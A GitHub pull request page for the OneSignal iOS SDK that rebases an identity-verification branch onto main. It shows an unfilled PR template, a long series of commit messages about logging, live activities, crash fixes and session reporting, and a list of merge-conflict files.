Skip to content

chore: Identity verification rebase on main#1661

Open
nan-li wants to merge 84 commits into
identity_verification_betafrom
identity_verification_rebase_on_5.5.1
Open

chore: Identity verification rebase on main#1661
nan-li wants to merge 84 commits into
identity_verification_betafrom
identity_verification_rebase_on_5.5.1

Conversation

@nan-li
Copy link
Copy Markdown
Contributor

@nan-li nan-li commented May 14, 2026

READ AND DELETE THIS SECTION BEFORE SUBMITTING PR

  • Fill out each REQUIRED section
  • Fill out OPTIONAL sections, remove section if it doesn't apply to your PR
  • Read and fill out each of the checklists below
  • Remove this section after reading

Description

One Line Summary

REQUIRED - Very short description that summaries the changes in this PR.

Details

Motivation

REQUIRED - Why is this code change being made? Or what is the goal of this PR? Examples: Fixes a specific bug, provides additional logging to debug future issues, feature to allow X.

Scope

RECOMMEND - OPTIONAL - What is intended to be effected. What is known not to change. Example: Notifications are grouped when parameter X is set, not enabled by default.

OPTIONAL - Other

OPTIONAL - Feel free to add any other sections or sub-sections that can explain your PR better.

Testing

Unit testing

OPTIONAL - Explain unit tests added, if not clear in the code.

Manual testing

RECOMMEND - OPTIONAL - Explain what scenarios were tested and the environment.
Example: Tested opening a notification while the app was foregrounded, app build with Android Studio 2020.3 with a fresh install of the OneSignal example app on a Pixel 6 with Android 12.

Affected code checklist

  • Notifications
    • Display
    • Open
    • Push Processing
    • Confirm Deliveries
  • Outcomes
  • Sessions
  • In-App Messaging
  • REST API requests
  • Public API changes

Checklist

Overview

  • I have filled out all REQUIRED sections above
  • PR does one thing
    • If it is hard to explain how any codes changes are related to each other then it most likely needs to be more than one PR
  • Any Public API changes are explained in the PR details and conform to existing APIs

Testing

  • I have included test coverage for these changes, or explained why they are not needed
  • All automated tests pass, or I explained why that is not possible
  • I have personally tested this on my device, or explained why that is not possible

Final pass

  • Code is as readable as possible.
    • Simplify with less code, followed by splitting up code into well named functions and variables, followed by adding comments to the code.
  • I have reviewed this PR myself, ensuring it meets each checklist item
    • WIP (Work In Progress) is ok, but explain what is still in progress and what you would like feedback on. Start the PR title with "WIP" to indicate this.

sherwinski and others added 30 commits June 23, 2025 15:18
* Adds the following new public methods:
   - OneSignal.Debug.addLogListener
   - OneSignal.Debug.removeLogListener
* These new methods provide a way to capture all SDK log entires at runtime, allowing the app developer to store these and/or send them to their server.
* The log listener is independent of logLevel, all message are always sent to listeners.
* Use the new `OSCopyOnWriteSet`: it is possible for someone to add or remove a log listener within the `onLogEvent` callback, thus modifying the set of listeners as the set is being enumerated. @synchronized is a recursive lock, so it would not be sufficient. Locking the entire set of listeners would result in deadlock.
* This mimics the Android implementation which uses the built-in `CopyOnWriteArraySet`
feat(logging): add public log listener methods
Xcode warns:
*** -[NSKeyedUnarchiver decodeObjectForKey:]: value for key (requestSuccessful) is not an object. This will become an error in the future.
* The optional cast directly to a protocol always failed, and this intermediate step of casting to Any/AnyObject was necessary.
Fix calculation of one day in seconds. This bug had no side effects except keeping old irrelevant data too long.
* Let's arbitrarily keep receive requests up to 30 days. If these requests can't be sent for 30 days, let's drop them. Typically, they will be removed from cache when the request is successful, or fail with un-retryable error.
* Listen for `contentUpdates` as a way to know the live activity has been updated via a notification or "in app". This asynchronous sequence is triggered for all PTS, PTU, and live activities that are started and updated "in app".
* We will check for notification ID to know if this change was generated from a notification and track the receive receipt.
Chore: fix Xcode project navigator files reference
The `testRemoveUpdateTokenWithSuccessfulRequest` should use `OSRequestRemoveUpdateToken` instead of `OSRequestRemoveStartToken`, fix small bug.
* Add a basic tests for the request
* Add this type to the the uncaching test
* It seems that when creating a new string with stringWithFormat, copying the `localizedDescription` can raise an `NSInvalidArgumentException`. Not reproducible, but reported by users.
* This matches other calls to the client where we log the error returned.

Example stacktrace:
Fatal Exception: NSInvalidArgumentException
0  CoreFoundation                 0x... __exceptionPreprocess
1  libobjc.A.dylib                0x... objc_exception_throw
2  CoreFoundation                 0x... +[NSObject(NSObject) _copyDescription]
3  CoreFoundation                 0x... ___forwarding___
4  CoreFoundation                 0x... _CF_forwarding_prep_0
5  OneSignalInAppMessages         0x... __77-[OSMessagingController attemptFetchWithRetries:rywData:attempts:retryLimit:]_block_invoke.90 + 320 (OSMessagingController.m:320)
6  OneSignalCore                  0x... -[OneSignalClient handleJSONNSURLResponse:data:error:isAsync:withRequest:onSuccess:onFailure:] + 214 (OneSignalClient.m:214)
7  OneSignalCore                  0x... __54-[OneSignalClient executeRequest:onSuccess:onFailure:]_block_invoke + 110 (OneSignalClient.m:110)
…receipts

Feat: live activities receive receipts
…tion_errors

Fix: Prevent exception when copying an error's localizedDescription
On `macos-latest-largest`, use xcode 16.3+
nan-li and others added 24 commits February 3, 2026 13:13
- Remove stale v5 feature parity warning now that v5 is stable. Replace with concise migration guide reference.
- Fix image embedding to use GitHub-hosted URL
- Update documentation links
- Update supported iOS versions
…nges (#1641)

Fix crash in -[OSInAppMessageViewController dismissCurrentInAppMessage:withVelocity:]

The crash occurred when setInAppMessagingPaused:YES was called while the IAM's
view hierarchy was in an inconsistent state (e.g., during orientation change).
The code attempted to modify Auto Layout constraints on a messageView that was
no longer a subview of self.view, causing an NSLayoutConstraint exception.

Added a guard check to return out early if messageView.superview != self.view.
* mark OSMacros.h header private to avoid warning

- Changed OSMacros.h visibility from Public to Private so the header won't be included in the public Headers folder during the build process
- fix warning saying: "umbrella header for module 'OneSignalCore' does not include header 'OSMacros.h'"

* use conventional quoted imports for private headers

Conventionally correct: Quoted imports (#import "OSMacros.h") are the standard pattern for private/internal headers, now that the OSMacros has been marked from public to private
* chore: bump version to 5.4.1

* chore: build binaries

* chore: update Swift package

---------

Co-authored-by: github-actions[bot] <noreply@onesignal.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
Migrate workflow references from sdk-actions to sdk-shared
* initial commit of new example app OneSignalSwiftUIExample

* Generate app using screenshots

* Do any small tweaking as needed
* Add notification examples

* make consent a toggle

* add app icon assets

* Update new example app

* add live activities to new demo

* add build prompt

* chore: run swiftlint
* feat: send unattributed sessions to /outcomes/measure

When the SDK was migrated from the player model, the /players/{id}/on_focus call was split into two requests: session time via Update User and session duration outcomes via `/outcomes/measure`. The outcomes half was only wired up for attributed sessions, so unattributed sessions never sent to `/outcomes/measure`. However, to get unattributed session data in the dashboard, unattributed sessions needed to be sent to `/outcomes/measure` as well.

- Remove END_SESSION guard in OSFocusTimeProcessorFactory that prevented creating an unattributed processor for session-end events
- Add sendSessionEndOutcomes call to OSUnattributedFocusTimeProcessor alongside sendSessionTime, matching the old model where both were always sent together

* test: add unit tests for OSRequestSendSessionEndOutcomes request builder

Verify the request parameters for unattributed (notification_ids omitted,
direct: false), attributed direct (direct: true), and attributed indirect
(direct: false) influence types.
When using badge type "Increase", the cached badge value
(ONESIGNAL_BADGE_KEY) in shared UserDefaults was not explicitly
reset to zero in clearBadgeCount:fromClearAll:. If the swizzled
badge setter did not fire, the NSE would read the stale cached
value and increment from it, producing an incorrect badge count.
* chore: bump version to 5.4.2

* chore: build binaries

* chore: update Swift package

---------

Co-authored-by: github-actions[bot] <noreply@onesignal.com>
* feat: enhance manual integration support and swizzling control

- Added APIs for manual notification handling and lifecycle observation when swizzling is disabled.
- Introduced a new constant for controlling swizzling via Info.plist.

* dev app: setup to test swizzle disabled

* return early from manual APIs if swizzling is enabled

* address PR feedback

* thread safety
* rename a method for clarity

* remove ios 9 and 10 checks

minimum is ios 12
* getting started doc for iOS

* added more screenshots

---------

Co-authored-by: AR Abdul Azeez <abdul@onesignal.com>
* chore: bump version to 5.5.0

* chore: build binaries

* chore: update Swift package

---------

Co-authored-by: github-actions[bot] <noreply@onesignal.com>
* demo: update getting started doc and screenshot

* start IAMs as paused

* add clear all notifications button to demo

* demo app: fix bug with enabled toggle
…droid SDK (#1655)

* Align iOS session duration reporting with Android SDK behavior

Both attributed and unattributed focus time processors now behave
like the Android SDK: session time accumulates silently across
background events, and both the user property update and the
outcomes/measure call are sent together only after a 30-second
timer fires (confirming the user has left). If the user returns
within 30 seconds, the timer is cancelled and no calls are made.

Changes to OSAttributedFocusTimeProcessor:
- Move sendSessionTime from sendOnFocusCall to the actual send
  method so it only fires when the 30s timer fires or the session
  ends, sending the full accumulated total instead of each interval

Changes to OSUnattributedFocusTimeProcessor:
- Add 30s NSTimer delay before sending to outcomes/measure
- Send immediately (no delay) when session ends via influence change
- Implement cancelDelayedJob to invalidate timer on foreground return
- Clear unsent time only on outcomes success (retry on failure)
- Move sendSessionTime to the actual send method (same as attributed)
- Reduce min session threshold from 60s to 1s to match attributed

Made-with: Cursor

* Remove unused min session time threshold

Both processors now use a unified `< 1` guard in sendOnFocusCallWithParams: instead of the old getMinSessionTime/hasMinSyncTime dispatch through the base class.
* chore: bump version to 5.5.1

* chore: build binaries

* chore: update Swift package

---------

Co-authored-by: github-actions[bot] <noreply@onesignal.com>
ci: [SDK-4493] use GH_PUSH_TOKEN for project workflow
…_release

# Conflicts:
#	OneSignal.podspec
#	OneSignalXCFramework.podspec
#	Package.swift
#	iOS_SDK/OneSignalDevApp/OneSignalDevApp/AppDelegate.h
#	iOS_SDK/OneSignalDevApp/OneSignalDevApp/AppDelegate.m
#	iOS_SDK/OneSignalDevApp/OneSignalDevApp/Base.lproj/Main.storyboard
#	iOS_SDK/OneSignalDevApp/OneSignalDevApp/SwiftTest.swift
#	iOS_SDK/OneSignalSDK/OneSignal.xcodeproj/project.pbxproj
#	iOS_SDK/OneSignalSDK/OneSignalCore/Source/OneSignalCommonDefines.h
#	iOS_SDK/OneSignalSDK/OneSignalCore/Source/OneSignalLog.h
#	iOS_SDK/OneSignalSDK/OneSignalCore/Source/OneSignalLog.m
#	iOS_SDK/OneSignalSDK/OneSignalInAppMessages/Controller/OSMessagingController.h
#	iOS_SDK/OneSignalSDK/OneSignalInAppMessages/Controller/OSMessagingController.m
#	iOS_SDK/OneSignalSDK/OneSignalUser/Source/Executors/OSIdentityOperationExecutor.swift
#	iOS_SDK/OneSignalSDK/OneSignalUser/Source/Executors/OSPropertyOperationExecutor.swift
#	iOS_SDK/OneSignalSDK/OneSignalUser/Source/Executors/OSSubscriptionOperationExecutor.swift
#	iOS_SDK/OneSignalSDK/OneSignalUser/Source/OneSignalUserManagerImpl.swift
#	iOS_SDK/OneSignalSDK/OneSignalUserTests/Executors/UserExecutorTests.swift
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/Info.plist
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/Headers/OneSignalCommonDefines.h
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/Headers/OneSignalLog.h
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/OneSignalCore
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/DWARF/OneSignalCore
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/Headers/OneSignalCommonDefines.h
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/Headers/OneSignalLog.h
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/OneSignalCore
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/DWARF/OneSignalCore
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/Headers/OneSignalCommonDefines.h
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/Headers/OneSignalLog.h
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/OneSignalCore
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/DWARF/OneSignalCore
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64/OneSignalExtension.framework/OneSignalExtension
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/DWARF/OneSignalExtension
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalExtension.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalExtension.framework/Versions/A/OneSignalExtension
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/DWARF/OneSignalExtension
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalExtension.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalExtension.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/DWARF/OneSignalExtension
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalExtension.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalExtension.yml
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/Info.plist
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64/OneSignalInAppMessages.framework/OneSignalInAppMessages
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/DWARF/OneSignalInAppMessages
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalInAppMessages.yml
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/OneSignalInAppMessages.framework/OneSignalInAppMessages
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/DWARF/OneSignalInAppMessages
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalInAppMessages.yml
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalInAppMessages.yml
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-x86_64-maccatalyst/OneSignalInAppMessages.framework/Versions/A/OneSignalInAppMessages
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/DWARF/OneSignalInAppMessages
#	iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalInAppMessages.yml
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/OneSignalLiveActivities.framework/OneSignalLiveActivities
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/OneSignalLiveActivities.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/DWARF/OneSignalLiveActivities
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLiveActivities.yml
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalLiveActivities.framework/Versions/A/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/OneSignalLiveActivities.framework/OneSignalLiveActivities
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/OneSignalLiveActivities.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/DWARF/OneSignalLiveActivities
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLiveActivities.yml
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLiveActivities.yml
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/OneSignalLiveActivities.framework/Versions/A/Modules/OneSignalLiveActivities.swiftmodule/x86_64-apple-ios-macabi.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/OneSignalLiveActivities.framework/Versions/A/OneSignalLiveActivities
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/DWARF/OneSignalLiveActivities
#	iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLiveActivities.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/Info.plist
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64/OneSignalLocation.framework/OneSignalLocation
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/DWARF/OneSignalLocation
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLocation.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/DWARF/OneSignalLocation
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLocation.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLocation.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-x86_64-maccatalyst/OneSignalLocation.framework/Versions/A/OneSignalLocation
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/DWARF/OneSignalLocation
#	iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLocation.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/Info.plist
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64/OneSignalNotifications.framework/OneSignalNotifications
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/DWARF/OneSignalNotifications
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalNotifications.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalNotifications.framework/Versions/A/OneSignalNotifications
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/DWARF/OneSignalNotifications
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalNotifications.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalNotifications.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/DWARF/OneSignalNotifications
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalNotifications.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalNotifications.yml
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/Info.plist
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios.abi.json
